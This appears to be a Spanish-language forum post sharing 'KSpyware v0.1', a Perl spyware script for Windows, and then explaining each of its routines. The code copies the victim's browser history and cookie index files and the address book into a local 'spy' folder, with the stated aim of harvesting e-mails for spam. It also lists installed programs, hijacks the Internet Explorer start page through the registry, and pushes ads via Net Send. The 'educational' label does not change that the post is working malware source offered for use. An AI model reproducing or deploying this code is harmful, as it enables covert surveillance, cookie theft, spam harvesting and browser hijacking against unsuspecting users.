Código:
############################################
### KSpyware v0.1 for educational purpose ###############
############################################
use Win32;
use File::Xcopy qw(xcopy);
use Win32::TieRegistry ( Delimiter=>"/", ArrayValues=>1 );
use Win32::NetSend;
############################################
### With the code below, we can obtain the installed #########
### programs on the system #########################
############################################
sub programfiles{
open(PF, '>C:\\spy\\pf.txt')
or die "I can't open the file\n";
opendir(PROGRAMFILES, 'C:\\Program Files\\')
or die "A problem occured.";
print PF join(' - ', readdir(PROGRAMFILES));
closedir PRGRAMFILES;
close PF;
}
#########################################
### With the code below, we can obtain the urls #########
### the victim visited and the cookies ################
#########################################
sub indexsites {
my $name;
$name=Win32::LoginName();
$from = "C:\\WINNT\\Temporary Internet Files\\Content.IE5\\index.dat";
$to = "C:\\spy\\WinntTifIndex.dat";
Win32::CopyFile($from, $to, 0);
$from = "C:\\WINNT\\Cookies\\index.dat";
$to = "C:\\spy\\WinntCookiesIndex.dat";
Win32::CopyFile($from, $to, 0);
$from = "C:\\Documents and Settings\\" . $name .
"\\Local Settings\\Temporary Internet Files\\Content.IE5\\index.dat";
$to = "C:\\spy\\LocalTifIndex.dat";
Win32::CopyFile($from, $to, 0);
$from = "C:\\Documents and Settings\\" . $name .
"\\Cookies\\index.dat";
$to = "C:\\spy\\LocalCookiesIndex.dat";
Win32::CopyFile($from, $to, 0);
}
########################################
### With the code below, we can obtain a list of ########
### e-mails adresses (for spam...) #################
#######################################
sub mails {
my $name;
$name=Win32::LoginName();
$from = "C:\\Documents and Settings\\" . $name .
"\\Application Data\\Microsoft\\Address Book\\" . $name . ".wab";
$to = "C:\\spy\\" . $name . ".wab";
Win32::CopyFile($from, $to, 0);
}
#####################################
### Hijack IE by modifying the main page ##########
#####################################
sub mainpage {
$userKey= $Registry->
{"CUser/Software/Microsoft/Internet Explorer/"};
$userKey->{"Main//Start Page"}= [ "http://www.nzeka-labs.com", "REG_SZ" ];
$userKey->{"Main//Start Page_bak"}= [ "http://www.nzeka-labs.com", "REG_SZ" ];
}
#########################################
### With the code below, Net Send is used to spam #######
### or send ads to the user (Net Send must be activated)####
#########################################
sub pub {
$NetSend->Send(
to => "127.0.0.1",
message => "Here, a small ad in order to earn money or to spam!!!");
}
###################
### Entry point !!! #######
###################
$dir = "C:\\spy\\";
mkdir $dir or die "An error occured\n";
programfiles();
indexsites();
mails();
mainpage();
pub();
exit 0;
Ahora les explicare para que sirve cada modulo de este codigo en perl.
Con este codigo obtendremos una lista de programas instalados en el sistema.
Código:
############################################
### With the code below, we can obtain the installed #########
### programs on the system #########################
############################################
sub programfiles{
open(PF, '>C:\\spy\\pf.txt')
or die "I can't open the file\n";
opendir(PROGRAMFILES, 'C:\\Program Files\\')
or die "A problem occured.";
print PF join(' - ', readdir(PROGRAMFILES));
closedir PRGRAMFILES;
close PF;
}
Con este codigo obtendremos las direcciones URL que la victima a visitado, tambien tendremos las cookies.
Código:
#########################################
### With the code below, we can obtain the urls #########
### the victim visited and the cookies ################
#########################################
sub indexsites {
my $name;
$name=Win32::LoginName();
$from = "C:\\WINNT\\Temporary Internet Files\\Content.IE5\\index.dat";
$to = "C:\\spy\\WinntTifIndex.dat";
Win32::CopyFile($from, $to, 0);
$from = "C:\\WINNT\\Cookies\\index.dat";
$to = "C:\\spy\\WinntCookiesIndex.dat";
Win32::CopyFile($from, $to, 0);
$from = "C:\\Documents and Settings\\" . $name .
"\\Local Settings\\Temporary Internet Files\\Content.IE5\\index.dat";
$to = "C:\\spy\\LocalTifIndex.dat";
Win32::CopyFile($from, $to, 0);
$from = "C:\\Documents and Settings\\" . $name .
"\\Cookies\\index.dat";
$to = "C:\\spy\\LocalCookiesIndex.dat";
Win32::CopyFile($from, $to, 0);
}
Con este codigo obtendremos direcciones de correo electronico para poder hacer spam...
Código:
########################################
### With the code below, we can obtain a list of ########
### e-mails adresses (for spam...) #################
#######################################
sub mails {
my $name;
$name=Win32::LoginName();
$from = "C:\\Documents and Settings\\" . $name .
"\\Application Data\\Microsoft\\Address Book\\" . $name . ".wab";
$to = "C:\\spy\\" . $name . ".wab";
Win32::CopyFile($from, $to, 0);
}
Con este codigo sabotearemos el IE explorer para cambiar la pagina de inicio.
Código:
#####################################
### Hijack IE by modifying the main page ##########
#####################################
sub mainpage {
$userKey= $Registry->
{"CUser/Software/Microsoft/Internet Explorer/"};
$userKey->{"Main//Start Page"}= [ "http://www.nzeka-labs.com", "REG_SZ" ];
$userKey->{"Main//Start Page_bak"}= [ "http://www.nzeka-labs.com", "REG_SZ" ];
}
Para utilizar este codigo necesitamos que el Net Send este activado, asi podemos enviar anuncioes etx es como spam.
Código:
#########################################
### With the code below, Net Send is used to spam #######
### or send ads to the user (Net Send must be activated)####
#########################################
sub pub {
$NetSend->Send(
to => "127.0.0.1",
message => "Here, a small ad in order to earn money or to spam!!!");
}
Y con este el entry point...
Código:
###################
### Entry point !!! #######
###################
$dir = "C:\\spy\\";
mkdir $dir or die "An error occured\n";
programfiles();
indexsites();
mails();
mainpage();
pub();
exit 0;
.perl
